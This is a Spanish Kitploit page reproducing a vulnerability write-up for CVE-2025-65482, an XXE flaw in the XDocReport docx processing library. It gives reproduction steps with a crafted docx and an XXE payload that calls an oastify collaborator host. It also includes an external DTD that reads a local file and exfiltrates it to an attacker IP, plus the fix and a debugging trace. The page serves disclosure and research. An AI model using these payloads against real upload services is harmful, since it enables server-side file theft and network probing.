Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Herramientas/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPapers e InvestigaciónAprendizaje y Educación
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Ver Repositorio
12hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) en XDocReport

Definición del error

XML External Entity Injection

Resumen de la vulnerabilidad

  • XML External Entity Injection (XXE) es una vulnerabilidad en el procesamiento de datos en formato XML, donde el usuario inserta datos XML que hacen referencia a un archivo o sistema externo. Un atacante puede usar esta vulnerabilidad XXE identificada para escanear otros sistemas en busca de puertos de servicio abiertos, solicitar archivos secretos y acceder a funcionalidades de sistemas conectados que de otro modo no estarían disponibles. Desde aquí, el atacante puede extraer datos, interactuar con los sistemas y causar interrupción del servicio mediante la inserción de XML.

Impacto empresarial

  • XXE puede provocar daños a la reputación de la empresa debido a la pérdida de confianza y credibilidad de los usuarios. También puede dar lugar al robo de datos y pérdidas financieras indirectas para la empresa a través de costos de notificación, remediación y violación de datos PII.

Severidad ALTA

image

Descripción e impacto

El sitio web de gestión de personal permite a los usuarios subir archivos de documento .docx al sistema. Durante el procesamiento, la aplicación utiliza la biblioteca que contiene la vulnerabilidad XXE al pasar el archivo del usuario a través de .

Descargar herramienta
fr.opensagres.xdocreport.document.docx
.docx
SAXParser

Componente afectado

fr.opensagres.xdocreport.template.docx — XDocReport (versiones =< 2.0.3)

Análisis de causa raíz

La causa es el uso de Apache POI.

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Es decir, Apache POI está muy profundo, en el módulo:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

El error ocurre porque XDocReport (en el módulo fr.opensagres.xdocreport.document.docx) usa Apache POI para leer los archivos .docx, y POI utiliza el SAXParser por defecto de Java sin deshabilitar las características que permiten el procesamiento de DTD y entidades externas. → Esto permite al atacante insertar un DOCTYPE con una entidad que apunta hacia afuera (SYSTEM "http://...") o hacia un archivo interno (file:///...) → generando XXE.

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Pasos para reproducir

  • Descomprimir cualquier archivo docx
root@kitploit:~
unzip ../vcspentest.docx

image

  • Editar el contenido del archivo document.xml dentro del docx
root@kitploit:~
nano word/document.xml

image

editar con payload outbound para pasar por collabrator de la siguiente manera:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Volver a comprimir como archivo poc
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • Subir el archivo docx modificado para que sea procesado por xdocreport

image

  • Como resultado, se ve una solicitud enviada al collabrator

image

  • Aumentar el impacto a leer archivos en el sistema
  • Host que almacena el archivo dtd en la máquina wsl 172.26.208.130. con el contenido del archivo vcspentest.dtd de la siguiente manera:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

editar el archivo word/document.xml dentro del archivo .docx con el siguiente contenido para cargar el dtd externo desde la máquina wsl:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • Comprimir el archivo en .docx y subirlo al servidor para su procesamiento

image

image

  • En la máquina wsl se ve una solicitud enviada con el contenido del archivo D:/vcspentest.txt en el servidor objetivo

image

image

Solución

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

En el fragmento de código o en la capa de configuración del analizador XML, es necesario deshabilitar todas las características relacionadas con DTD y entidades externas.

Arreglo similar a este código

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

Configuración del entorno de depuración

image

  • en el archivo Main.java
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();

            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
}
  • Bibliotecas necesarias para importar
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Depuración de análisis source-sink

  • la entrada del contenido XML en .docx pasa por preprocesamiento

image

  • luego es procesado por SAXParser sin validación de entrada

image

image

image

image

  • luego entra en la función scanDocument() y escanea el contenido XML emitiendo "eventos" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, etc.)

image

image

image

image

  • Verificar si el nombre de la entidad (name = "xxe") es una entidad externa

  • Si la entidad está declarada y es externa, el analizador llamará a la lógica de resolución externa (por ejemplo, startExternalEntity(...) / fEntityManager.startEntity(...)) — este es el sink: aquí el analizador tomará systemId/publicId e intentará abrir un flujo (posiblemente generando una solicitud HTTP externa).

image

image

image

  • Si xxe es una entidad externa, startEntity(...) llevará a la lógica de apertura de recurso (por ejemplo, startExternalEntity(...) / abrir InputStream → posibilidad de generar solicitud HTTP a la URL SYSTEM).

image

image

image

  • Este es el punto donde el analizador comienza a procesar la entidad "xxe".

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • la función startEntity() verifica si la entidad es externa (isExternal = true), luego llama:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

La variable externalEntity.entityLocation contiene la URL maliciosa del DOCTYPE (SYSTEM "http://...oastify.com/").

image

  • resolveEntityAsPerStax, la variable resourceIdentifier contiene la ruta absoluta: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • esta función luego convierte resourceIdentifier en un objeto XMLResourceIdentifierImpl y continúa abriendo la conexión real para leer el contenido.

image

image

Documentación

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link